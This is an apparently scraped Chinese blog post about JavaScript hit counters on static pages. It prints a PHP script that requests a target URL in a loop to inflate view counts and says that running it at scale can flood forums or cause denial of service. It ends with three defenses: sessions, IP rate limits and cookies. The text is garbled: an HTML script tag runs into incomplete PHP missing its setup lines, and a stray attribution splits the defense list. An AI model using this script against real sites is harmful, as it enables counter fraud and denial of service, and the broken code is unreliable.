今天无意间看到一个网站,它的计数器能够在静态页里更新,我想,应该是使用js来做的,打开源代码一看,果然是:
<div align=center><SPAN class=Article_tdbgall>
作者:未知 文章来源:Meidi.Net
点击数:
<script language=’javascript’ src="http://img.jcwcn.com/attachment/portal"http://www.xxx.com/Article/GetHits.asp?ArticleID=759"; //需要访问的地址
set_time_limit(L_TIME);
//访问指定URL函数knowsky.com
function access_url($url)
{
if ($url==’’) return false;
$fp = fopen($url, ’r’) or exit(’Open url faild!’);
if ($fp) {
while (!feof($fp)) {
$file = fgets($fp);
echo $file."n<p> </p>n";
}
unset($file);
}
}
//进行测试
for ($i=0; $i<SUM; $i++) {
access_url($url);
sleep(S_TIME);
}
?>
运行上面的程序,那么就会连续访问指定的URL地址,那么自然这个访问次数就会连续增加,达到灌水的效果。如果是流量大,而且用多程序去运行的话,那么很容易就会达到拒绝服务(DoS)的效果了。如果对方的防范措施,把代码修改一下针对论坛进行提交,很容易实现论坛灌水的效果。
防范方法:
1. 代码中使用Session机制,当用户提交的时候生成一个Session ID,提交内容的时候判断是否已经提交,如果已提交那么就不允许刷。
2. 当用户提交以后记录用户的IP地址,如果指定时间内再提交的话就不允许再提交。
(本文来源于图老师网站,更多请访问http://m.tulaoshi.com/php/)3. 当用户提交内容以后,在用户客户端写入Cookie,如果用户再次提交先检查客户端是否有Cookie来确定是否允许提交。
还有很多其他方法,可以去搜索一下,或者发挥自己的想象力,做的更好。